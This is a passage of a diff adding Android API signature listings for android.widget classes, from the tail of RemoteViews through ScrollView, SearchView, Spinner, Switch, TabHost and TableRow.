+    method public android.view.View apply(android.content.Context, android.view.ViewGroup);
+    method @Deprecated public android.widget.RemoteViews clone();
+    method public int describeContents();
+    method public int getLayoutId();
+    method public String getPackage();
+    method @IdRes public int getViewId();
+    method @Deprecated public boolean onLoadClass(Class);
+    method public void reapply(android.content.Context, android.view.View);
+    method public void removeAllViews(@IdRes int);
+    method public void setAccessibilityTraversalAfter(@IdRes int, @IdRes int);
+    method public void setAccessibilityTraversalBefore(@IdRes int, @IdRes int);
+    method public void setBitmap(@IdRes int, String, android.graphics.Bitmap);
+    method public void setBlendMode(@IdRes int, @NonNull String, @Nullable android.graphics.BlendMode);
+    method public void setBoolean(@IdRes int, String, boolean);
+    method public void setBundle(@IdRes int, String, android.os.Bundle);
+    method public void setByte(@IdRes int, String, byte);
+    method public void setChar(@IdRes int, String, char);
+    method public void setCharSequence(@IdRes int, String, CharSequence);
+    method public void setCharSequence(@IdRes int, @NonNull String, @StringRes int);
+    method public void setCharSequenceAttr(@IdRes int, @NonNull String, @AttrRes int);
+    method public void setChronometer(@IdRes int, long, String, boolean);
+    method public void setChronometerCountDown(@IdRes int, boolean);
+    method public void setColor(@IdRes int, @NonNull String, @ColorRes int);
+    method public void setColorAttr(@IdRes int, @NonNull String, @AttrRes int);
+    method public void setColorInt(@IdRes int, @NonNull String, @ColorInt int, @ColorInt int);
+    method public void setColorStateList(@IdRes int, @NonNull String, @Nullable android.content.res.ColorStateList);
+    method public void setColorStateList(@IdRes int, @NonNull String, @Nullable android.content.res.ColorStateList, @Nullable android.content.res.ColorStateList);
+    method public void setColorStateList(@IdRes int, @NonNull String, @ColorRes int);
+    method public void setColorStateListAttr(@IdRes int, @NonNull String, @AttrRes int);
+    method public void setCompoundButtonChecked(@IdRes int, boolean);
+    method public void setContentDescription(@IdRes int, CharSequence);
+    method public void setDisplayedChild(@IdRes int, int);
+    method public void setDouble(@IdRes int, String, double);
+    method public void setEmptyView(@IdRes int, @IdRes int);
+    method public void setFloat(@IdRes int, String, float);
+    method public void setFloatDimen(@IdRes int, @NonNull String, @DimenRes int);
+    method public void setFloatDimen(@IdRes int, @NonNull String, float, int);
+    method public void setFloatDimenAttr(@IdRes int, @NonNull String, @AttrRes int);
+    method public void setIcon(@IdRes int, String, android.graphics.drawable.Icon);
+    method public void setIcon(@IdRes int, @NonNull String, @Nullable android.graphics.drawable.Icon, @Nullable android.graphics.drawable.Icon);
+    method public void setImageViewBitmap(@IdRes int, android.graphics.Bitmap);
+    method public void setImageViewIcon(@IdRes int, android.graphics.drawable.Icon);
+    method public void setImageViewResource(@IdRes int, @DrawableRes int);
+    method public void setImageViewUri(@IdRes int, android.net.Uri);
+    method public void setInt(@IdRes int, String, int);
+    method public void setIntDimen(@IdRes int, @NonNull String, @DimenRes int);
+    method public void setIntDimen(@IdRes int, @NonNull String, float, int);
+    method public void setIntDimenAttr(@IdRes int, @NonNull String, @AttrRes int);
+    method public void setIntent(@IdRes int, String, android.content.Intent);
+    method public void setLabelFor(@IdRes int, @IdRes int);
+    method public void setLightBackgroundLayoutId(@LayoutRes int);
+    method public void setLong(@IdRes int, String, long);
+    method public void setOnCheckedChangeResponse(@IdRes int, @NonNull android.widget.RemoteViews.RemoteResponse);
+    method public void setOnClickFillInIntent(@IdRes int, android.content.Intent);
+    method public void setOnClickPendingIntent(@IdRes int, android.app.PendingIntent);
+    method public void setOnClickResponse(@IdRes int, @NonNull android.widget.RemoteViews.RemoteResponse);
+    method public void setPendingIntentTemplate(@IdRes int, android.app.PendingIntent);
+    method public void setProgressBar(@IdRes int, int, int, boolean);
+    method public void setRadioGroupChecked(@IdRes int, @IdRes int);
+    method public void setRelativeScrollPosition(@IdRes int, int);
+    method @Deprecated public void setRemoteAdapter(int, @IdRes int, android.content.Intent);
+    method public void setRemoteAdapter(@IdRes int, android.content.Intent);
+    method public void setRemoteAdapter(@IdRes int, @NonNull android.widget.RemoteViews.RemoteCollectionItems);
+    method public void setScrollPosition(@IdRes int, int);
+    method public void setShort(@IdRes int, String, short);
+    method public void setString(@IdRes int, String, String);
+    method public void setTextColor(@IdRes int, @ColorInt int);
+    method public void setTextViewCompoundDrawables(@IdRes int, @DrawableRes int, @DrawableRes int, @DrawableRes int, @DrawableRes int);
+    method public void setTextViewCompoundDrawablesRelative(@IdRes int, @DrawableRes int, @DrawableRes int, @DrawableRes int, @DrawableRes int);
+    method public void setTextViewText(@IdRes int, CharSequence);
+    method public void setTextViewTextSize(@IdRes int, int, float);
+    method public void setUri(@IdRes int, String, android.net.Uri);
+    method public void setViewLayoutHeight(@IdRes int, float, int);
+    method public void setViewLayoutHeightAttr(@IdRes int, @AttrRes int);
+    method public void setViewLayoutHeightDimen(@IdRes int, @DimenRes int);
+    method public void setViewLayoutMargin(@IdRes int, int, float, int);
+    method public void setViewLayoutMarginAttr(@IdRes int, int, @AttrRes int);
+    method public void setViewLayoutMarginDimen(@IdRes int, int, @DimenRes int);
+    method public void setViewLayoutWidth(@IdRes int, float, int);
+    method public void setViewLayoutWidthAttr(@IdRes int, @AttrRes int);
+    method public void setViewLayoutWidthDimen(@IdRes int, @DimenRes int);
+    method public void setViewOutlinePreferredRadius(@IdRes int, float, int);
+    method public void setViewOutlinePreferredRadiusAttr(@IdRes int, @AttrRes int);
+    method public void setViewOutlinePreferredRadiusDimen(@IdRes int, @DimenRes int);
+    method public void setViewPadding(@IdRes int, @Px int, @Px int, @Px int, @Px int);
+    method public void setViewVisibility(@IdRes int, int);
+    method public void showNext(@IdRes int);
+    method public void showPrevious(@IdRes int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.widget.RemoteViews> CREATOR;
+    field public static final String EXTRA_CHECKED = "android.widget.extra.CHECKED";
+    field public static final String EXTRA_SHARED_ELEMENT_BOUNDS = "android.widget.extra.SHARED_ELEMENT_BOUNDS";
+    field public static final int MARGIN_BOTTOM = 3; // 0x3
+    field public static final int MARGIN_END = 5; // 0x5
+    field public static final int MARGIN_LEFT = 0; // 0x0
+    field public static final int MARGIN_RIGHT = 2; // 0x2
+    field public static final int MARGIN_START = 4; // 0x4
+    field public static final int MARGIN_TOP = 1; // 0x1
+  }
+
+  public static class RemoteViews.ActionException extends java.lang.RuntimeException {
+    ctor public RemoteViews.ActionException(Exception);
+    ctor public RemoteViews.ActionException(String);
+  }
+
+  public static final class RemoteViews.RemoteCollectionItems implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getItemCount();
+    method public long getItemId(int);
+    method @NonNull public android.widget.RemoteViews getItemView(int);
+    method public int getViewTypeCount();
+    method public boolean hasStableIds();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.widget.RemoteViews.RemoteCollectionItems> CREATOR;
+  }
+
+  public static final class RemoteViews.RemoteCollectionItems.Builder {
+    ctor public RemoteViews.RemoteCollectionItems.Builder();
+    method @NonNull public android.widget.RemoteViews.RemoteCollectionItems.Builder addItem(long, @NonNull android.widget.RemoteViews);
+    method @NonNull public android.widget.RemoteViews.RemoteCollectionItems build();
+    method @NonNull public android.widget.RemoteViews.RemoteCollectionItems.Builder setHasStableIds(boolean);
+    method @NonNull public android.widget.RemoteViews.RemoteCollectionItems.Builder setViewTypeCount(int);
+  }
+
+  public static class RemoteViews.RemoteResponse {
+    ctor public RemoteViews.RemoteResponse();
+    method @NonNull public android.widget.RemoteViews.RemoteResponse addSharedElement(@IdRes int, @NonNull String);
+    method @NonNull public static android.widget.RemoteViews.RemoteResponse fromFillInIntent(@NonNull android.content.Intent);
+    method @NonNull public static android.widget.RemoteViews.RemoteResponse fromPendingIntent(@NonNull android.app.PendingIntent);
+  }
+
+  @java.lang.annotation.Retention(java.lang.annotation.RetentionPolicy.RUNTIME) @java.lang.annotation.Target({java.lang.annotation.ElementType.TYPE}) public static @interface RemoteViews.RemoteView {
+  }
+
+  public static final class RemoteViews.RemoteViewOutlineProvider extends android.view.ViewOutlineProvider {
+    ctor public RemoteViews.RemoteViewOutlineProvider(float);
+    method public void getOutline(@NonNull android.view.View, @NonNull android.graphics.Outline);
+    method public float getRadius();
+  }
+
+  public abstract class RemoteViewsService extends android.app.Service {
+    ctor public RemoteViewsService();
+    method public android.os.IBinder onBind(android.content.Intent);
+    method public abstract android.widget.RemoteViewsService.RemoteViewsFactory onGetViewFactory(android.content.Intent);
+  }
+
+  public static interface RemoteViewsService.RemoteViewsFactory {
+    method public int getCount();
+    method public long getItemId(int);
+    method public android.widget.RemoteViews getLoadingView();
+    method public android.widget.RemoteViews getViewAt(int);
+    method public int getViewTypeCount();
+    method public boolean hasStableIds();
+    method public void onCreate();
+    method public void onDataSetChanged();
+    method public void onDestroy();
+  }
+
+  public abstract class ResourceCursorAdapter extends android.widget.CursorAdapter {
+    ctor @Deprecated public ResourceCursorAdapter(android.content.Context, int, android.database.Cursor);
+    ctor public ResourceCursorAdapter(android.content.Context, int, android.database.Cursor, boolean);
+    ctor public ResourceCursorAdapter(android.content.Context, int, android.database.Cursor, int);
+    method public android.view.View newView(android.content.Context, android.database.Cursor, android.view.ViewGroup);
+    method public void setDropDownViewResource(int);
+    method public void setViewResource(int);
+  }
+
+  public abstract class ResourceCursorTreeAdapter extends android.widget.CursorTreeAdapter {
+    ctor public ResourceCursorTreeAdapter(android.content.Context, android.database.Cursor, int, int, int, int);
+    ctor public ResourceCursorTreeAdapter(android.content.Context, android.database.Cursor, int, int, int);
+    ctor public ResourceCursorTreeAdapter(android.content.Context, android.database.Cursor, int, int);
+    method public android.view.View newChildView(android.content.Context, android.database.Cursor, boolean, android.view.ViewGroup);
+    method public android.view.View newGroupView(android.content.Context, android.database.Cursor, boolean, android.view.ViewGroup);
+  }
+
+  public class ScrollView extends android.widget.FrameLayout {
+    ctor public ScrollView(android.content.Context);
+    ctor public ScrollView(android.content.Context, android.util.AttributeSet);
+    ctor public ScrollView(android.content.Context, android.util.AttributeSet, int);
+    ctor public ScrollView(android.content.Context, android.util.AttributeSet, int, int);
+    method public boolean arrowScroll(int);
+    method protected int computeScrollDeltaToGetChildRectOnScreen(android.graphics.Rect);
+    method public boolean executeKeyEvent(android.view.KeyEvent);
+    method public void fling(int);
+    method public boolean fullScroll(int);
+    method @ColorInt public int getBottomEdgeEffectColor();
+    method public int getMaxScrollAmount();
+    method @ColorInt public int getTopEdgeEffectColor();
+    method public boolean isFillViewport();
+    method public boolean isSmoothScrollingEnabled();
+    method public boolean pageScroll(int);
+    method public void scrollToDescendant(@NonNull android.view.View);
+    method public void setBottomEdgeEffectColor(@ColorInt int);
+    method public void setEdgeEffectColor(@ColorInt int);
+    method public void setFillViewport(boolean);
+    method public void setSmoothScrollingEnabled(boolean);
+    method public void setTopEdgeEffectColor(@ColorInt int);
+    method public final void smoothScrollBy(int, int);
+    method public final void smoothScrollTo(int, int);
+  }
+
+  public class Scroller {
+    ctor public Scroller(android.content.Context);
+    ctor public Scroller(android.content.Context, android.view.animation.Interpolator);
+    ctor public Scroller(android.content.Context, android.view.animation.Interpolator, boolean);
+    method public void abortAnimation();
+    method public boolean computeScrollOffset();
+    method public void extendDuration(int);
+    method public void fling(int, int, int, int, int, int, int, int);
+    method public final void forceFinished(boolean);
+    method public float getCurrVelocity();
+    method public final int getCurrX();
+    method public final int getCurrY();
+    method public final int getDuration();
+    method public final int getFinalX();
+    method public final int getFinalY();
+    method public final int getStartX();
+    method public final int getStartY();
+    method public final boolean isFinished();
+    method public void setFinalX(int);
+    method public void setFinalY(int);
+    method public final void setFriction(float);
+    method public void startScroll(int, int, int, int);
+    method public void startScroll(int, int, int, int, int);
+    method public int timePassed();
+  }
+
+  public class SearchView extends android.widget.LinearLayout implements android.view.CollapsibleActionView {
+    ctor public SearchView(android.content.Context);
+    ctor public SearchView(android.content.Context, android.util.AttributeSet);
+    ctor public SearchView(android.content.Context, android.util.AttributeSet, int);
+    ctor public SearchView(android.content.Context, android.util.AttributeSet, int, int);
+    method public int getImeOptions();
+    method public int getInputType();
+    method public int getMaxWidth();
+    method public CharSequence getQuery();
+    method @Nullable public CharSequence getQueryHint();
+    method public android.widget.CursorAdapter getSuggestionsAdapter();
+    method @Deprecated public boolean isIconfiedByDefault();
+    method public boolean isIconified();
+    method public boolean isIconifiedByDefault();
+    method public boolean isQueryRefinementEnabled();
+    method public boolean isSubmitButtonEnabled();
+    method public void onActionViewCollapsed();
+    method public void onActionViewExpanded();
+    method public void setIconified(boolean);
+    method public void setIconifiedByDefault(boolean);
+    method public void setImeOptions(int);
+    method public void setInputType(int);
+    method public void setMaxWidth(int);
+    method public void setOnCloseListener(android.widget.SearchView.OnCloseListener);
+    method public void setOnQueryTextFocusChangeListener(android.view.View.OnFocusChangeListener);
+    method public void setOnQueryTextListener(android.widget.SearchView.OnQueryTextListener);
+    method public void setOnSearchClickListener(android.view.View.OnClickListener);
+    method public void setOnSuggestionListener(android.widget.SearchView.OnSuggestionListener);
+    method public void setQuery(CharSequence, boolean);
+    method public void setQueryHint(@Nullable CharSequence);
+    method public void setQueryRefinementEnabled(boolean);
+    method public void setSearchableInfo(android.app.SearchableInfo);
+    method public void setSubmitButtonEnabled(boolean);
+    method public void setSuggestionsAdapter(android.widget.CursorAdapter);
+  }
+
+  public static interface SearchView.OnCloseListener {
+    method public boolean onClose();
+  }
+
+  public static interface SearchView.OnQueryTextListener {
+    method public boolean onQueryTextChange(String);
+    method public boolean onQueryTextSubmit(String);
+  }
+
+  public static interface SearchView.OnSuggestionListener {
+    method public boolean onSuggestionClick(int);
+    method public boolean onSuggestionSelect(int);
+  }
+
+  public interface SectionIndexer {
+    method public int getPositionForSection(int);
+    method public int getSectionForPosition(int);
+    method public Object[] getSections();
+  }
+
+  public class SeekBar extends android.widget.AbsSeekBar {
+    ctor public SeekBar(android.content.Context);
+    ctor public SeekBar(android.content.Context, android.util.AttributeSet);
+    ctor public SeekBar(android.content.Context, android.util.AttributeSet, int);
+    ctor public SeekBar(android.content.Context, android.util.AttributeSet, int, int);
+    method public void setOnSeekBarChangeListener(android.widget.SeekBar.OnSeekBarChangeListener);
+  }
+
+  public static interface SeekBar.OnSeekBarChangeListener {
+    method public void onProgressChanged(android.widget.SeekBar, int, boolean);
+    method public void onStartTrackingTouch(android.widget.SeekBar);
+    method public void onStopTrackingTouch(android.widget.SeekBar);
+  }
+
+  public class ShareActionProvider extends android.view.ActionProvider {
+    ctor public ShareActionProvider(android.content.Context);
+    method public android.view.View onCreateActionView();
+    method public void setOnShareTargetSelectedListener(android.widget.ShareActionProvider.OnShareTargetSelectedListener);
+    method public void setShareHistoryFileName(String);
+    method public void setShareIntent(android.content.Intent);
+    field public static final String DEFAULT_SHARE_HISTORY_FILE_NAME = "share_history.xml";
+  }
+
+  public static interface ShareActionProvider.OnShareTargetSelectedListener {
+    method public boolean onShareTargetSelected(android.widget.ShareActionProvider, android.content.Intent);
+  }
+
+  public class SimpleAdapter extends android.widget.BaseAdapter implements android.widget.Filterable android.widget.ThemedSpinnerAdapter {
+    ctor public SimpleAdapter(android.content.Context, java.util.List<? extends java.util.Map<java.lang.String,?>>, @LayoutRes int, String[], @IdRes int[]);
+    method public int getCount();
+    method public android.content.res.Resources.Theme getDropDownViewTheme();
+    method public android.widget.Filter getFilter();
+    method public Object getItem(int);
+    method public long getItemId(int);
+    method public android.view.View getView(int, android.view.View, android.view.ViewGroup);
+    method public android.widget.SimpleAdapter.ViewBinder getViewBinder();
+    method public void setDropDownViewResource(int);
+    method public void setDropDownViewTheme(android.content.res.Resources.Theme);
+    method public void setViewBinder(android.widget.SimpleAdapter.ViewBinder);
+    method public void setViewImage(android.widget.ImageView, int);
+    method public void setViewImage(android.widget.ImageView, String);
+    method public void setViewText(android.widget.TextView, String);
+  }
+
+  public static interface SimpleAdapter.ViewBinder {
+    method public boolean setViewValue(android.view.View, Object, String);
+  }
+
+  public class SimpleCursorAdapter extends android.widget.ResourceCursorAdapter {
+    ctor @Deprecated public SimpleCursorAdapter(android.content.Context, int, android.database.Cursor, String[], int[]);
+    ctor public SimpleCursorAdapter(android.content.Context, int, android.database.Cursor, String[], int[], int);
+    method public void bindView(android.view.View, android.content.Context, android.database.Cursor);
+    method public void changeCursorAndColumns(android.database.Cursor, String[], int[]);
+    method public android.widget.SimpleCursorAdapter.CursorToStringConverter getCursorToStringConverter();
+    method public int getStringConversionColumn();
+    method public android.widget.SimpleCursorAdapter.ViewBinder getViewBinder();
+    method public void setCursorToStringConverter(android.widget.SimpleCursorAdapter.CursorToStringConverter);
+    method public void setStringConversionColumn(int);
+    method public void setViewBinder(android.widget.SimpleCursorAdapter.ViewBinder);
+    method public void setViewImage(android.widget.ImageView, String);
+    method public void setViewText(android.widget.TextView, String);
+  }
+
+  public static interface SimpleCursorAdapter.CursorToStringConverter {
+    method public CharSequence convertToString(android.database.Cursor);
+  }
+
+  public static interface SimpleCursorAdapter.ViewBinder {
+    method public boolean setViewValue(android.view.View, android.database.Cursor, int);
+  }
+
+  public abstract class SimpleCursorTreeAdapter extends android.widget.ResourceCursorTreeAdapter {
+    ctor public SimpleCursorTreeAdapter(android.content.Context, android.database.Cursor, int, int, String[], int[], int, int, String[], int[]);
+    ctor public SimpleCursorTreeAdapter(android.content.Context, android.database.Cursor, int, int, String[], int[], int, String[], int[]);
+    ctor public SimpleCursorTreeAdapter(android.content.Context, android.database.Cursor, int, String[], int[], int, String[], int[]);
+    method protected void bindChildView(android.view.View, android.content.Context, android.database.Cursor, boolean);
+    method protected void bindGroupView(android.view.View, android.content.Context, android.database.Cursor, boolean);
+    method public android.widget.SimpleCursorTreeAdapter.ViewBinder getViewBinder();
+    method public void setViewBinder(android.widget.SimpleCursorTreeAdapter.ViewBinder);
+    method protected void setViewImage(android.widget.ImageView, String);
+    method public void setViewText(android.widget.TextView, String);
+  }
+
+  public static interface SimpleCursorTreeAdapter.ViewBinder {
+    method public boolean setViewValue(android.view.View, android.database.Cursor, int);
+  }
+
+  public class SimpleExpandableListAdapter extends android.widget.BaseExpandableListAdapter {
+    ctor public SimpleExpandableListAdapter(android.content.Context, java.util.List<? extends java.util.Map<java.lang.String,?>>, int, String[], int[], java.util.List<? extends java.util.List<? extends java.util.Map<java.lang.String,?>>>, int, String[], int[]);
+    ctor public SimpleExpandableListAdapter(android.content.Context, java.util.List<? extends java.util.Map<java.lang.String,?>>, int, int, String[], int[], java.util.List<? extends java.util.List<? extends java.util.Map<java.lang.String,?>>>, int, String[], int[]);
+    ctor public SimpleExpandableListAdapter(android.content.Context, java.util.List<? extends java.util.Map<java.lang.String,?>>, int, int, String[], int[], java.util.List<? extends java.util.List<? extends java.util.Map<java.lang.String,?>>>, int, int, String[], int[]);
+    method public Object getChild(int, int);
+    method public long getChildId(int, int);
+    method public android.view.View getChildView(int, int, boolean, android.view.View, android.view.ViewGroup);
+    method public int getChildrenCount(int);
+    method public Object getGroup(int);
+    method public int getGroupCount();
+    method public long getGroupId(int);
+    method public android.view.View getGroupView(int, boolean, android.view.View, android.view.ViewGroup);
+    method public boolean hasStableIds();
+    method public boolean isChildSelectable(int, int);
+    method public android.view.View newChildView(boolean, android.view.ViewGroup);
+    method public android.view.View newGroupView(boolean, android.view.ViewGroup);
+  }
+
+  @Deprecated public class SlidingDrawer extends android.view.ViewGroup {
+    ctor @Deprecated public SlidingDrawer(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public SlidingDrawer(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public SlidingDrawer(android.content.Context, android.util.AttributeSet, int, int);
+    method @Deprecated public void animateClose();
+    method @Deprecated public void animateOpen();
+    method @Deprecated public void animateToggle();
+    method @Deprecated public void close();
+    method @Deprecated public android.view.View getContent();
+    method @Deprecated public android.view.View getHandle();
+    method @Deprecated public boolean isMoving();
+    method @Deprecated public boolean isOpened();
+    method @Deprecated public void lock();
+    method @Deprecated public void open();
+    method @Deprecated public void setOnDrawerCloseListener(android.widget.SlidingDrawer.OnDrawerCloseListener);
+    method @Deprecated public void setOnDrawerOpenListener(android.widget.SlidingDrawer.OnDrawerOpenListener);
+    method @Deprecated public void setOnDrawerScrollListener(android.widget.SlidingDrawer.OnDrawerScrollListener);
+    method @Deprecated public void toggle();
+    method @Deprecated public void unlock();
+    field @Deprecated public static final int ORIENTATION_HORIZONTAL = 0; // 0x0
+    field @Deprecated public static final int ORIENTATION_VERTICAL = 1; // 0x1
+  }
+
+  @Deprecated public static interface SlidingDrawer.OnDrawerCloseListener {
+    method @Deprecated public void onDrawerClosed();
+  }
+
+  @Deprecated public static interface SlidingDrawer.OnDrawerOpenListener {
+    method @Deprecated public void onDrawerOpened();
+  }
+
+  @Deprecated public static interface SlidingDrawer.OnDrawerScrollListener {
+    method @Deprecated public void onScrollEnded();
+    method @Deprecated public void onScrollStarted();
+  }
+
+  public final class Space extends android.view.View {
+    ctor public Space(android.content.Context, android.util.AttributeSet, int, int);
+    ctor public Space(android.content.Context, android.util.AttributeSet, int);
+    ctor public Space(android.content.Context, android.util.AttributeSet);
+    ctor public Space(android.content.Context);
+  }
+
+  public class Spinner extends android.widget.AbsSpinner implements android.content.DialogInterface.OnClickListener {
+    ctor public Spinner(android.content.Context);
+    ctor public Spinner(android.content.Context, int);
+    ctor public Spinner(android.content.Context, android.util.AttributeSet);
+    ctor public Spinner(android.content.Context, android.util.AttributeSet, int);
+    ctor public Spinner(android.content.Context, android.util.AttributeSet, int, int);
+    ctor public Spinner(android.content.Context, android.util.AttributeSet, int, int, int);
+    ctor public Spinner(android.content.Context, android.util.AttributeSet, int, int, int, android.content.res.Resources.Theme);
+    method public int getDropDownHorizontalOffset();
+    method public int getDropDownVerticalOffset();
+    method public int getDropDownWidth();
+    method public int getGravity();
+    method public android.graphics.drawable.Drawable getPopupBackground();
+    method public android.content.Context getPopupContext();
+    method public CharSequence getPrompt();
+    method public void onClick(android.content.DialogInterface, int);
+    method public void setDropDownHorizontalOffset(int);
+    method public void setDropDownVerticalOffset(int);
+    method public void setDropDownWidth(int);
+    method public void setGravity(int);
+    method public void setPopupBackgroundDrawable(android.graphics.drawable.Drawable);
+    method public void setPopupBackgroundResource(@DrawableRes int);
+    method public void setPrompt(CharSequence);
+    method public void setPromptId(int);
+    field public static final int MODE_DIALOG = 0; // 0x0
+    field public static final int MODE_DROPDOWN = 1; // 0x1
+  }
+
+  public interface SpinnerAdapter extends android.widget.Adapter {
+    method public android.view.View getDropDownView(int, android.view.View, android.view.ViewGroup);
+  }
+
+  @android.widget.RemoteViews.RemoteView public class StackView extends android.widget.AdapterViewAnimator {
+    ctor public StackView(android.content.Context);
+    ctor public StackView(android.content.Context, android.util.AttributeSet);
+    ctor public StackView(android.content.Context, android.util.AttributeSet, int);
+    ctor public StackView(android.content.Context, android.util.AttributeSet, int, int);
+  }
+
+  @android.widget.RemoteViews.RemoteView public class Switch extends android.widget.CompoundButton {
+    ctor public Switch(android.content.Context);
+    ctor public Switch(android.content.Context, android.util.AttributeSet);
+    ctor public Switch(android.content.Context, android.util.AttributeSet, int);
+    ctor public Switch(android.content.Context, android.util.AttributeSet, int, int);
+    method public boolean getShowText();
+    method public boolean getSplitTrack();
+    method public int getSwitchMinWidth();
+    method public int getSwitchPadding();
+    method public CharSequence getTextOff();
+    method public CharSequence getTextOn();
+    method public android.graphics.drawable.Drawable getThumbDrawable();
+    method public int getThumbTextPadding();
+    method @Nullable public android.graphics.BlendMode getThumbTintBlendMode();
+    method @Nullable public android.content.res.ColorStateList getThumbTintList();
+    method @Nullable public android.graphics.PorterDuff.Mode getThumbTintMode();
+    method public android.graphics.drawable.Drawable getTrackDrawable();
+    method @Nullable public android.graphics.BlendMode getTrackTintBlendMode();
+    method @Nullable public android.content.res.ColorStateList getTrackTintList();
+    method @Nullable public android.graphics.PorterDuff.Mode getTrackTintMode();
+    method public void onMeasure(int, int);
+    method public void setShowText(boolean);
+    method public void setSplitTrack(boolean);
+    method public void setSwitchMinWidth(int);
+    method public void setSwitchPadding(int);
+    method public void setSwitchTextAppearance(android.content.Context, @StyleRes int);
+    method public void setSwitchTypeface(android.graphics.Typeface, int);
+    method public void setSwitchTypeface(android.graphics.Typeface);
+    method public void setTextOff(CharSequence);
+    method public void setTextOn(CharSequence);
+    method public void setThumbDrawable(android.graphics.drawable.Drawable);
+    method public void setThumbIcon(@Nullable android.graphics.drawable.Icon);
+    method public void setThumbResource(@DrawableRes int);
+    method public void setThumbTextPadding(int);
+    method public void setThumbTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setThumbTintList(@Nullable android.content.res.ColorStateList);
+    method public void setThumbTintMode(@Nullable android.graphics.PorterDuff.Mode);
+    method public void setTrackDrawable(android.graphics.drawable.Drawable);
+    method public void setTrackIcon(@Nullable android.graphics.drawable.Icon);
+    method public void setTrackResource(@DrawableRes int);
+    method public void setTrackTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setTrackTintList(@Nullable android.content.res.ColorStateList);
+    method public void setTrackTintMode(@Nullable android.graphics.PorterDuff.Mode);
+  }
+
+  @Deprecated public class TabHost extends android.widget.FrameLayout implements android.view.ViewTreeObserver.OnTouchModeChangeListener {
+    ctor @Deprecated public TabHost(android.content.Context);
+    ctor @Deprecated public TabHost(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public TabHost(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public TabHost(android.content.Context, android.util.AttributeSet, int, int);
+    method @Deprecated public void addTab(android.widget.TabHost.TabSpec);
+    method @Deprecated public void clearAllTabs();
+    method @Deprecated @Nullable public int getCurrentTab();
+    method @Deprecated @Nullable public String getCurrentTabTag();
+    method @Deprecated @Nullable public android.view.View getCurrentTabView();
+    method @Deprecated public android.view.View getCurrentView();
+    method @Deprecated public android.widget.FrameLayout getTabContentView();
+    method @Deprecated public android.widget.TabWidget getTabWidget();
+    method @Deprecated @NonNull public android.widget.TabHost.TabSpec newTabSpec(@NonNull String);
+    method @Deprecated public void onTouchModeChanged(boolean);
+    method @Deprecated public void setCurrentTab(int);
+    method @Deprecated public void setCurrentTabByTag(String);
+    method @Deprecated public void setOnTabChangedListener(android.widget.TabHost.OnTabChangeListener);
+    method @Deprecated public void setup();
+    method @Deprecated public void setup(android.app.LocalActivityManager);
+  }
+
+  @Deprecated public static interface TabHost.OnTabChangeListener {
+    method @Deprecated public void onTabChanged(String);
+  }
+
+  @Deprecated public static interface TabHost.TabContentFactory {
+    method @Deprecated public android.view.View createTabContent(String);
+  }
+
+  @Deprecated public class TabHost.TabSpec {
+    method @Deprecated @NonNull public String getTag();
+    method @Deprecated public android.widget.TabHost.TabSpec setContent(int);
+    method @Deprecated public android.widget.TabHost.TabSpec setContent(android.widget.TabHost.TabContentFactory);
+    method @Deprecated public android.widget.TabHost.TabSpec setContent(android.content.Intent);
+    method @Deprecated public android.widget.TabHost.TabSpec setIndicator(CharSequence);
+    method @Deprecated public android.widget.TabHost.TabSpec setIndicator(CharSequence, android.graphics.drawable.Drawable);
+    method @Deprecated public android.widget.TabHost.TabSpec setIndicator(android.view.View);
+  }
+
+  @Deprecated public class TabWidget extends android.widget.LinearLayout implements android.view.View.OnFocusChangeListener {
+    ctor @Deprecated public TabWidget(android.content.Context);
+    ctor @Deprecated public TabWidget(android.content.Context, android.util.AttributeSet);
+    ctor @Deprecated public TabWidget(android.content.Context, android.util.AttributeSet, int);
+    ctor @Deprecated public TabWidget(android.content.Context, android.util.AttributeSet, int, int);
+    method @Deprecated public void dispatchDraw(android.graphics.Canvas);
+    method @Deprecated public void focusCurrentTab(int);
+    method @Deprecated public android.view.View getChildTabViewAt(int);
+    method @Deprecated @Nullable public android.graphics.drawable.Drawable getLeftStripDrawable();
+    method @Deprecated @Nullable public android.graphics.drawable.Drawable getRightStripDrawable();
+    method @Deprecated public int getTabCount();
+    method @Deprecated public boolean isStripEnabled();
+    method @Deprecated public void onFocusChange(android.view.View, boolean);
+    method @Deprecated public void setCurrentTab(int);
+    method @Deprecated public void setDividerDrawable(@DrawableRes int);
+    method @Deprecated public void setLeftStripDrawable(@Nullable android.graphics.drawable.Drawable);
+    method @Deprecated public void setLeftStripDrawable(@DrawableRes int);
+    method @Deprecated public void setRightStripDrawable(@Nullable android.graphics.drawable.Drawable);
+    method @Deprecated public void setRightStripDrawable(@DrawableRes int);
+    method @Deprecated public void setStripEnabled(boolean);
+  }
+
+  public class TableLayout extends android.widget.LinearLayout {
+    ctor public TableLayout(android.content.Context);
+    ctor public TableLayout(android.content.Context, android.util.AttributeSet);
+    method public android.widget.TableLayout.LayoutParams generateLayoutParams(android.util.AttributeSet);
+    method public boolean isColumnCollapsed(int);
+    method public boolean isColumnShrinkable(int);
+    method public boolean isColumnStretchable(int);
+    method public boolean isShrinkAllColumns();
+    method public boolean isStretchAllColumns();
+    method public void setColumnCollapsed(int, boolean);
+    method public void setColumnShrinkable(int, boolean);
+    method public void setColumnStretchable(int, boolean);
+    method public void setShrinkAllColumns(boolean);
+    method public void setStretchAllColumns(boolean);
+  }
+
+  public static class TableLayout.LayoutParams extends android.widget.LinearLayout.LayoutParams {
+    ctor public TableLayout.LayoutParams(android.content.Context, android.util.AttributeSet);
+    ctor public TableLayout.LayoutParams(int, int);
+    ctor public TableLayout.LayoutParams(int, int, float);
+    ctor public TableLayout.LayoutParams();
+    ctor public TableLayout.LayoutParams(android.view.ViewGroup.LayoutParams);
+    ctor public TableLayout.LayoutParams(android.view.ViewGroup.MarginLayoutParams);
+  }
+
+  public class TableRow extends android.widget.LinearLayout {
+    ctor public TableRow(android.content.Context);
+    ctor public TableRow(android.content.Context, android.util.AttributeSet);
+    method public android.widget.TableRow.LayoutParams generateLayoutParams(android.util.AttributeSet);
+    method public android.view.View getVirtualChildAt(int);
